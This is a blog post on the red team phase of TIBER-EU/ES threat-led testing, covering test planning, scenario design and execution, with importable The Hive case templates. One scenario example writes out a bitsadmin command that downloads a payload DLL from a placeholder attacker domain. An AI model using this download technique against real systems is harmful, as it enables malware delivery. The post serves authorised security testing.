TL;DR
Previous blog: https://jstnk9.github.io/jstnk9/blog/TIBER-EU-ES-Threat-Intelligence-Series-01
After posting the first post in relation to TIBER-EU/ES from the point of view of the threat intelligence provider, now is the time to talk about the figure of the red team provider.
The purpose of the red team provider is to execute the final security test on the Entity. This execution will be supported by an extensive analysis previously carried out by the threat intelligence team where, among other cases, different scenarios are provided that should be executed, all of them with the perspective of a real attacker. Additionally, as we saw in the previous blog, the threat intelligence team provides a series of flags for the red team to obtain during its execution, thus motivating the execution.
As I did in the previous case, I have developed some cases in the The Hive tool so that red team teams can import them quickly and know the different actions that they have to carry out, thus allowing the use of the Task logs to document and attach everything that they carry out on the test.
The developed cases contemplate all the phases that TIBER-EU mentions in its documentation, in addition I have also included good practices and ways of facing some phases.
The fact of using The Hive is due to the following reasons:
- Allows to merge cases
- Can be integrated with MISP
- Can be integrated with Cortex and its analyzers
- Case templates can be created
GitHub project: https://github.com/jstnk9/TIBER-Cases
Abbreviations
| Key | Description |
|---|---|
| Entity | The term Entity during this blog and The Hive cases, refers to the entity that is going to carry out the TIBER-EU exercises. |
| TI | Threat Intelligence Provider. Is the provider of threat intelligence services for the Entity. |
| RT | Red Team Provider. Is the provider of red teaming services for the Entity. |
| WT | White Team. Team responsible of the scope and operative execution of the exercises. |
| BT | Blue Team. Team without knowledge about the exercise which have to respond to the attacks by the RT. |
Context
During this blog I will not go into detail about what TIBER-EU or TIBER-ES is. I will simply mention that TIBER-EU is a European framework for testing red teaming with a threat intelligence approach. This approach is related to Lockheed Martin's well-known Intelligence Driven Defense® method.
The offensive tests will be from the perspective of actual attacks with procedures used by actors targeting the financial sector. For more information, I recommend reading the TIBER-EU and TIBER-ES guides.
info
TIBER-EU Information: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/html/index.en.html
TIBER-ES Information: https://www.bde.es/bde/es/secciones/servicios/tiber-es-3f6bfe7e907ed71.html
Goal of this project and blog
The main objective of this project is to help red team analysts during the testing phase (testing phase is the name given by TIBER). To do this, different cases are made available that can be imported into The Hive and thus be able to speed up the work.
For this, a total of 3 cases have been developed (for the red team phase, 6 for the threat intelligence phase), which have assigned sub-tasks so that the red team analysts can execute their actions from there. Additionally, there are some tasks where the participation of threat intelligence analysts is required.
Finally, in the phases and steps that come in this blog, it will not go into excessive detail about what needs to be done, since, in the cases that I have developed for The Hive, I put the necessary information for the threat intelligence analysts.
Process
The process that TIBER-EU makes available to the community is very interesting. The following image shows the activities carried out by the red team team within the testing phase.
Source: ecb.europa.eu
To simplify the entire TIBER-EU document and the red team section a bit, I wanted to make a process explaining the most important points of the framework for those analysts who are going to work on it. Specifically, I have focused on the "Processes/Activities Red Team Test" section of the official TIBER-EU process.
Red team testing plan
This first step tries to plan what the execution of the red team will be later. It is a purely planning phase, where the red team must understand the scope of the test to be carried out, that is, which assets enter and which assets do not enter during the testing. At the same time, the execution time of the tests must be defined, which may be affected depending on the previously defined scope. Finally, it is very important that the entire red team team that is going to participate in the tests read the GTL and TTI report generated by the threat intelligence team.
Once both reports are obtained and studied by the red team, sessions should be held with the threat intelligence team to discuss the following:
- Discuss the scenarios previously written by the threat intelligence team
- Align the objectives of the red team with the real objectives of the actors
2.1 Map the defined objectives of the actors with the critical functions of the
Entity - Adapt the red team attack methodology to replicate real life scenarios that could be carried out by the actors
Like any security test, there may be some risk that the services of the target Entity of the test will be affected and become completely inaccessible. For this reason, it is important that the red team establishes a risk plan where it collects how to handle and communicate these situations in case they take place.
Testing methodology and scenarios
This phase aims to accommodate the scenarios written by the threat intelligence team and generate new ones by the red team. All the scenarios must have a relationship with the ATT&CK MITRE matrix, in order to be able to subsequently identify the level of scope performed in the test.
All scenarios must have both a high-level and a low-level vision, following the steps shown below.
- First of all, the use of the kill chain is highly recommended, since it will be possible to separate the actions to be carried out for each phase, thus managing to assign different phases to different analysts and abstract them from the rest of the intrusion.
- For each phase, a high-level description is recommended where it is said what objective is pursued. For example,
bitsadmin.exe execution to download a payload from a controlled server. At the same time, there should be a low-level description of the procedure required to achieve this goal, in this case, it would be the execution of the commandbitsadmin.exe /transfer /Download /priority Foreground http://evildomain[.]com /file.dll myfile.dll - Finally, indicate in the creation of the scenarios where the flags previously established by the threat intelligence team are located. This will help you not lose focus and achieve them.
All the developed scenarios could be affected at any time during the execution, either because there is some type of block that does not allow progress or because the activity of the red team has been detected.
Execution of the test
The last part of the red team process is the execution of all the previously planned scenarios.
While we are executing the testing, there could be obstacles as mentioned above, for this reason, the red team has to be able to continue with the test and use new techniques if necessary.
During execution the red team and threat intelligence team must have a constant conversation to share information back and forth. For example, if the red team identifies new systems or services, it must be transmitted to the threat intelligence team, which could provide new intelligence associated with said services. Likewise, if the threat intelligence team generates new intelligence during the test, it must be transmitted to the red team.
Another important fact to mention is that the red team must communicate at all times the steps it carries out to the white team, which must know all the details of the test.
After the execution a final report must be created with all the details of the test. In the cases of The Hive you can see what information the report should contain. Once created, in order to be able to follow the entire TIBER process that will finally be covered with the next entry of Blue Team, the following steps must be carried out.
- Coordinate a meeting with the blue team team to review the report. This is because it is important to see what was detected by the blue team and what was not.
- The blue team must create their own report mapping their detections with the red team scenarios.
- Schedule a retest by the red team once the blue team has implemented new detection measures, in order to see if they are valid or not.
The Hive
Import Case
Version of The Hive used:
Scalligraph: 0.1.0-SNAPSHOT
TheHive: 4.1.18-1
Play: 2.8.7
Before you begin, I highly recommend following the guide below to import the ATT&CK MITRE Matrix and MISP taxonomies into The Hive. To do this, go to the following links.
info
To import the cases, you must have permissions to perform this task. To do this, you must first navigate to the Organization section that is located at the top next to the search bar.
Once inside that section, we will have to go to the section that says Import template and select the JSON files that are in my GitHub, specifically in the cases folder.
Once this is done, and when we click on the upper part where it says + New Case, all the imported cases will appear with the information about the TIBER-EU phases.
Case visualization
As an example, once the cases are imported and one is generated to start working on it, they look like the following image:
As can be seen, it contains all the information the analyst needs to start working. The way cases are written is by using markdown.
When clicking on tasks, the user can see the following information.
All the Tasks that are included in each case have dependencies and goals, this will help the analysts not lose focus and focus on the goals to be achieved.
Cases information
Here you can find basic information about the created cases. Case name is the name defined for each case. Each case has different tasks to complete. You'll find all the information in the json files.
- Testing Plan
- Testing methodology and scenarios
- Execution of the test
Case name: Red Team Testing (RT) #1 - Red team testing plan
Tasks:
🔎 JSON File
Case name: Red Team Testing (RT) #2 - Testing methodology and scenarios
Tasks:
🔎 JSON File
Case name: Red Team Testing (RT) #3 - Execution of the test
Tasks:
🔎 JSON File
Contact
Twitter: https://twitter.com/Joseliyo_Jstnk
LinkedIn: https://www.linkedin.com/in/joseluissm/
GitHub Project: https://github.com/jstnk9/TIBER-Cases